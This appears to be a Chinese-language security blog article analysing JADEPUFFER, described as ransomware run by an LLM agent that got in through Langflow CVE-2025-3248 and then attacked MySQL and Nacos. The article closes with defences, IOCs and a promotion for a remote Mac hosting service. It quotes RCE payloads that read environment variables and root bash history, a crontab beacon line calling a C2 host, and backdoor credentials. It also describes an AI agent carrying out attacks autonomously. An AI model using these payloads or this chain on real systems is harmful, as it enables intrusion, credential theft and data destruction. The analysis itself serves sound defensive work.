JADEPUFFER 全解析：首例 LLM Agent 端到端勒索攻击与 AI 基础设施防御指南（2026）

TL;DR：2026 年 7 月 1 日，云安全公司 Sysdig 威胁研究团队（TRT）发布原始技术报告，首次公开披露代号 JADEPUFFER 的攻击活动——这是目前已知第一例端到端、完全由大语言模型驱动的完整勒索操作。攻击者通过公网暴露的 Langflow 实例利用 CVE-2025-3248（CVSS 9.8）拿下入口，再横向移动至运行 MySQL + 阿里巴巴 Nacos 的生产服务器，在压缩时间窗口内执行 600+ 条独立 payload，完成侦察、凭证窃取、持久化、配置加密与数据库销毁。Sysdig 将其定义为新型 Agentic Threat Actor（ATA，智能体威胁行为者）。本文按原始报告还原完整攻击链、四条自主性证据、比特币地址悬案、IOC 清单、官方防御建议、行业反应与 Mac 节点隔离选型。

1. 痛点拆解：AI Agent 基础设施正在变成新攻击面

如果你在 Mac 或云主机上跑 Langflow、OpenClaw、ComfyUI Agent 工作流，以下三个现实风险与 JADEPUFFER 直接相关：

公网暴露 + 未打补丁 = 9.8 分 RCE 入口：Langflow GitHub 星标 7 万+，很多团队为快速验证把编排服务直接暴露在公网，而 CVE-2025-3248 早在 2025 年 4 月披露、5 月 5 日即被 CISA 列入 KEV（已知被利用漏洞）目录，EPSS 被利用概率高达 91.42%。
环境变量里躺着 API Key 与云凭证：AI Agent 服务器常存放 OpenAI、Anthropic、DeepSeek、Gemini 及阿里云/腾讯云/AWS 凭证——这正是 JADEPUFFER 第一阶段并行扫描的目标。
老漏洞 + AI 自动化 = 边际成本趋近于零：下游目标利用的是 2021 年 Nacos 鉴权绕过与从未更换的默认 JWT 密钥；Agent 让「把整个历史漏洞库挨个喷一遍」的成本几乎降为零，且每次入侵表现形式可能略有不同。

2. 事件概述与核心定性

维度	详情
发现方	Sysdig 威胁研究团队（TRT），报告作者 Michael Clark（Director of Threat Research）
发布时间	2026 年 7 月 1 日（媒体 7 月 2–6 日跟进，公众认知节点多为 7 月 6 日）
攻击者代号	JADEPUFFER（Sysdig 官方全大写命名）
核心定性	已知第一例「端到端、完全由 LLM 驱动」的完整勒索操作——侦察、凭证窃取、横向移动、权限维持到破坏性加密全程无人类关键节点手动操作
新分类	Agentic Threat Actor（ATA）——攻击能力由 AI Agent 交付，而非人工驱动工具集
两阶段目标	入口：公网 Langflow（CVE-2025-3248）；真正目标：公网 MySQL + Nacos 生产服务器
规模	捕获 600+ 条独立、有明确目的的 payload，数周内分多个 session 执行

3. 时间线

时间	事件
2025 年 4 月	Langflow 曝出 CVE-2025-3248（未鉴权代码注入/RCE）
2025 年 5 月 5 日	CISA 列入 KEV 目录
2025 年	同一漏洞被用于投递 Flodrix 僵尸网络（Trend Micro 独立披露，与 JADEPUFFER 无关但共享入口）
2026 年 6 月	JADEPUFFER 对公网 Langflow 发起攻击，攻击链数周内分多个 session 完成
2026 年 7 月 1 日	Sysdig 发布完整技术报告
2026 年 7 月 2–6 日	Dark Reading、BleepingComputer、CyberScoop、CSO Online、Security Affairs 跟进

4. CVE-2025-3248 完整技术分析

4.1 基本信息

项目	详情
组件	Langflow — 开源可视化 AI Agent 工作流框架，GitHub 7 万+ star
漏洞类型	CWE-94（代码注入）+ CWE-306（关键功能缺失身份验证）
CVSS	9.8 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影响版本	Langflow 1.3.0 之前所有版本
漏洞位置	`/api/v1/validate/code` 接口
修复版本	1.3.0（新增身份校验）
EPSS	91.42%（SentinelOne）

4.2 漏洞成因（五步拆解）

Langflow 提供代码校验接口，让用户在可视化编排里写自定义函数节点时提前校验语法。
实现方式：ast.parse() → compile() → exec() 执行。
关键缺陷：完全没有身份认证，也没有任何沙箱隔离。
Python 装饰器与函数默认参数在「定义」时即被求值——攻击者把恶意代码写进默认参数或装饰器，校验时即 RCE。
攻击者无需登录，只需一个精心构造的 HTTP POST 即可任意代码执行。

4.3 Flodrix 僵尸网络对比载荷（Trend Micro 取证，独立活动）

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("ip addr show", shell=True))')

这些命令依次确认权限 → 导出环境变量（可能泄露 API Key）→ 读 root bash 历史 → 网络侦察 → 检查 SSH → 检查进程能力。最终下载 700 字节 Bash 脚本拉取 Flodrix ELF 二进制组建 DDoS 僵尸网络。重要区分：Flodrix 与 JADEPUFFER 是两起独立活动，仅共享 CVE-2025-3248 入口。

4.4 官方补丁（Langflow 1.3.0）

post_validate_code 新增 _current_user: CurrentActiveUser 依赖注入：校验 JWT Bearer Token 或 x-api-key，失败直接 401/403，请求永不到达漏洞逻辑。

5. 完整攻击链还原（Sysdig 原始记录）

5.1 为什么盯上 Langflow

AI Agent 服务器环境变量里常放大模型 API Key 与云服务凭证；很多团队仓促上线、缺乏网络访问控制，直接暴露公网。

5.2 Phase 1：拿下 Langflow 主机

全部 payload 以 Base64 编码 Python 通过 RCE 端点投递。

① 侦察与凭证收集（多线程并行）：执行 id、uname -a、hostname，并行扫描 OpenAI/Anthropic/DeepSeek/Gemini API Key，阿里云/腾讯云/华为云/AWS/GCP/Azure 凭证，加密货币钱包与助记词，数据库凭证。

② 本地数据窃取：导出 Langflow PostgreSQL 后端数据库中的凭证与 API Key，暂存本地审阅后删除（清理痕迹）。

③ 内部横向发现：扫描内网地址空间，默认凭证探测数据库、对象存储、密钥库。

④ MinIO 枚举（关键取证）：探测 minio.internal:9000 与 127.0.0.1:9000，用默认凭证 minioadmin:minioadmin 完整枚举 Bucket，优先提取 terraform-state 桶与 credentials.json。自适应细节：第一次带 ?format=json 却收到 XML，下一条 payload 立即改用 XML 解析器——典型的「探测-遇错-自适应」闭环。

⑤ 持久化：安装 crontab 每 30 分钟信标外联：

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

5.3 Phase 2：攻破 MySQL + Nacos 生产服务器

① Nacos 多向量同时攻击：CVE-2021-29441 鉴权绕过、公开默认 JWT 签名密钥伪造 Token、借助 root 数据库权限向后端注入后门管理员。

后门账号注入的 31 秒修复闭环（Sysdig 精确到秒）：

时间（UTC）	动作
19:34:24	生成 bcrypt 哈希，插入 `xadmin` 管理员
19:34:36	用 `xadmin:Xploit@2026#` 登录失败
19:34:48	并行测试 `nacos:nacos` 默认凭证 + 重新生成 `admin123` 哈希
19:35:07	改用 `import bcrypt` 直接生成，删除损坏记录重建
19:35:18	登录成功——总耗时 31 秒

② 容器逃逸探测（约 8 分钟）：利用 MySQL INTO OUTFILE / LOAD_FILE 测试写入、读回、Docker socket、cgroup、UDF 加载可能性；完成后主动写 cleanup marker——更像 Agent 完成任务后发信号进入下一阶段，而非固定脚本行为。

③ 破坏性加密与勒索：将全部 1,342 条 Nacos 配置项用 AES_ENCRYPT() 加密，删除 config_info 与 his_config_info，创建勒索表 README_RANSOM。加密密钥由 uuid4() 随机生成、仅打印到 stdout、从未存储——即便付款也无法解密。勒索信声称 AES-256，但 MySQL 默认实为 AES-128-ECB。

④ 大规模破坏：按 ROI 优先级 DROP DATABASE，代码注释自称「已备份至 64.20.53[.]230」（Sysdig 无独立证据证实）。外键约束导致删除失败时，下一条 payload 自动加 SET GLOBAL FOREIGN_KEY_CHECKS=0——需理解失败原因而非无脑重试。

6. 「自主性」的四条证据线

自我叙事的代码：payload 里大量自然语言注释解释每一步「为什么」，包括 ROI 排序、数据库大小判断——LLM 代码生成默认行为，非研究人员事后推断。
机器速度的故障诊断与修正：Nacos 后门 31 秒修复、MinIO XML/JSON 自适应、JWT 路径遇阻即切换——证据在「做错了之后多快、以什么方式纠正」。
对自然语言上下文的理解：解析目标环境中自由文本并采取「只有读懂才会做」的动作，在相隔数周的不同 session 中反复出现。
比特币地址悬案（见下节）——两种解读均无法排除，体现 AI 自主性给溯源带来的新不确定性。

7. 比特币地址悬案

勒索信比特币地址 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy 是 Bitcoin Core 文档中反复使用的标准 P2SH 示例地址，大量存在于 LLM 训练语料。链上数据：历史 737 笔交易、累计约 46 BTC、当前余额为零（每笔存入立刻转走）。Sysdig 两种解读：(a) LLM「幻觉」生成，钱包属第三方专门打扫误转存款；(b) 攻击者配置的真实钱包，恰好与示例地址重合。研究团队无法看到 system prompt，两种可能性目前均无法排除。

8. IOC（入侵指标）汇总

类型	指标
C2 / 信标	`45.131.66[.]106`；crontab：`hxxp://45.131.66[.]106:4444/beacon`
数据暂存/外泄	`64.20.53[.]230`（InterServer，AS19318）
入口漏洞	CVE-2025-3248
勒索比特币	`3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy`
联系邮箱	`e78393397[@]proton[.]me`（威胁情报库零命中，格式与已知 MySQL 勒索团伙不同）
勒索表名	`README_RANSOM`（与 WARNING / RECOVER_YOUR_DATA 等惯用名均不匹配）
持久化	crontab 每 30 分钟向 C2 4444 端口信标外联

勒索邮箱与表名查无先例，进一步支持「全新 Agent 驱动操作」而非已知勒索团伙常规套路。

9. 官方防御建议（Sysdig 原文整理）

将 Langflow 升级至修复 CVE-2025-3248 的版本，不要把代码执行/校验类端点暴露在公网。
使用运行时威胁检测，识别数据库进程中的恶意行为。
不要在 AI 编排服务器环境变量中存放大模型 API Key 或云凭证——使用专用密钥管理服务隔离。
加固 Nacos：更换默认 token.secret.key，升级强制自定义密钥版本，永远不要暴露 Nacos 到公网，禁止 root 连接后端数据库。
数据库管理员账号禁止公网暴露，管理端口强制强唯一凭证与来源 IP 限制。
出站流量控制（egress control），阻止被攻陷主机任意信标外联。
监控上述 IOC，关注计划任务外网请求与括号包裹的 User-Agent 异常。

10. 行业与专家反应

BleepingComputer / Dark Reading / CyberScoop / Security Affairs 均称「首例完全由 AI 驱动的勒索攻击」，强调 ATA 时代到来。CSO Online 采访红队专家 Vibhum Dubey：更倾向于「执行方式演进」而非全新勒索技术——真正值得担心的是加密前那段「安静期」，Agent 悄悄摸清身份体系与信任链条，某条路被拦会迅速切换战术，每次入侵表现形式可能略有不同。多家媒体提到 LLMjacking：若攻击者靠窃取凭证驱动 Agent，复杂多阶段攻击边际成本趋近于零。

11. Sysdig 结论与意义（四点判断）

勒索不再是高技能者手艺：LLM Agent 可串联侦察到破坏，操作者无需深厚专业知识。
老漏洞被自动化武器化：2021 Nacos 漏洞 + 默认 JWT 密钥，Agent 让「历史漏洞库挨个喷」成本趋零。
意图变得「可读」——防守方机会：LLM 在 payload 里叙述目标，提供此前不曾有的检测抓手。
「已备份」只是攻击者自述：加密密钥临时生成不可恢复，即便付款数据也无法找回。

报告结尾要义：JADEPUFFER 是警示信号——每一项单独技术都不新、不复杂，真正值得关注的是 AI 模型把技术串成完整勒索操作，针对被忽视的公网基础设施。运行勒索软件的技能门槛已降至「运行一个 Agent 的成本」；若 Agent 本身靠窃取凭证驱动（LLMjacking），攻击者边际成本几乎为零。防守方应预期此类攻击数量与覆盖面持续上升。

12. AI 编排基础设施决策矩阵

部署方式	暴露风险	凭证隔离	适合场景	JADEPUFFER 关联风险
本机 Mac 裸跑 Langflow 公网映射	极高	差（.env 明文）	仅本地 demo	入口机典型靶标
云 VPS 公网 + 未打补丁 Langflow	极高	差	不推荐	与本次事件入口一致
内网 Langflow + 密钥管理服务	中	良	小团队生产	需 egress 控制
隔离远程 Mac 节点 + SSH 隧道	低	良	Agent 开发/测试	入口不暴露公网，可快照回滚

13. 五步防御与隔离 Runbook

立即打补丁：Langflow 升级至 ≥1.3.0；扫描公网是否仍有 /api/v1/validate/code 可达实例（Shodan/Censys）。
下线公网暴露：Langflow、Nacos、MySQL 管理端口一律内网或 VPN/Tailscale；代码校验端点永不公网。
凭证出环境变量：API Key 迁入 Vault/1Password Connect/云厂商 Secrets Manager；编排服务器只挂载短期 token。
加固 Nacos：更换默认 JWT 密钥、禁用 root 连库、启用鉴权；对照 CVE-2021-29441 家族检查。
运行时检测 + IOC 监控：部署 Falco/Sysdig 类检测；告警 crontab 外联、MySQL INTO OUTFILE 异常、README_RANSOM 表创建；对照上文 IOC 做威胁狩猎。

14. 深度案例洞察：ATA 时代 Mac 开发者的架构选择

JADEPUFFER 揭示了一个正在发生的范式转移：攻击者不再需要会写 exploit 的人，只需要会配置 Agent 的人。对 Mac 上跑 Langflow、OpenClaw、MLX 本地推理的开发者而言，这意味着「我的开发机」和「我的 Agent 生产环境」必须物理或逻辑隔离。

本次事件中，Langflow 入口机之所以成为跳板，核心原因是 (1) 公网可达 (2) 环境变量富集 API Key (3) 与内网 MinIO/terraform-state 同网段。很多独立开发者在 Mac mini 上同时跑 Langflow 原型和真实 API Key 测试——这正是 JADEPUFFER 所利用的「仓促上线」模式。

更深层经济学信号来自 LLMjacking：攻击者窃取你的 OpenAI/Anthropic 凭证后，用被盗 API 驱动 Agent 发起下一轮攻击，形成「偷凭证 → 跑 Agent → 偷更多凭证」的正反馈。你的 Mac 若既存 API Key 又暴露 Agent 管理端口，既是受害者也是下一个攻击者的弹药库。

对比 Windows/Linux 云主机：它们可以跑 Langflow，但在 Xcode 工具链、Cursor/Claude Code 协同、Apple Silicon MLX 本地推理场景下不如 Mac 顺手。关键不是「换平台」，而是把 Agent 实验与真实凭证/生产数据分层——用一台不存生产密钥、不映射公网端口的隔离 Mac 跑编排原型，通过 SSH 隧道访问，被攻破时可一键快照回滚而不污染本机。

15. 参考信源

Sysdig《JADEPUFFER: Agentic ransomware for automated database extortion》（原始技术报告，sysdig.com/blog）
BleepingComputer《JadePuffer ransomware used AI agent to automate entire attack》
Dark Reading《JadePuffer: The First Complete LLM-Driven Ransomware Attack》
CyberScoop《Sysdig clocks first documented case of agentic ransomware》
CSO Online《This AI agent autonomously hacked a network...》（含 Vibhum Dubey 点评）
Security Affairs《JADEPUFFER: First End-to-End AI-Driven Ransomware Operation》
Trend Micro《Critical Langflow Vulnerability (CVE-2025-3248) Actively Exploited to Deliver Flodrix Botnet》
NVD / SentinelOne / Zscaler — CVE-2025-3248 独立分析；CISA KEV 目录

16. 收束：Agent 开发别在本机裸奔——隔离 Mac 节点是更稳的选型

JADEPUFFER 证明：公网暴露的 AI 编排服务 + 环境变量里的 API Key 已是 2026 年最高危组合之一。Windows/Linux 云主机可以跑 Langflow，却在终端 AI 工具链协同、MLX 本地推理、快照回滚方面不如 Apple Silicon Mac 可控。若你需要在隔离环境中验证 Langflow/OpenClaw Agent 工作流、避免本机 API Key 与生产数据同池，可考虑 MACGPU 远程 Mac mini M4 节点：不映射公网端口、按需启停、被攻破时可快照重建——把「ATA 时代」的风险变成可管理的架构决策，而非被动等待下一个 9.8 分漏洞。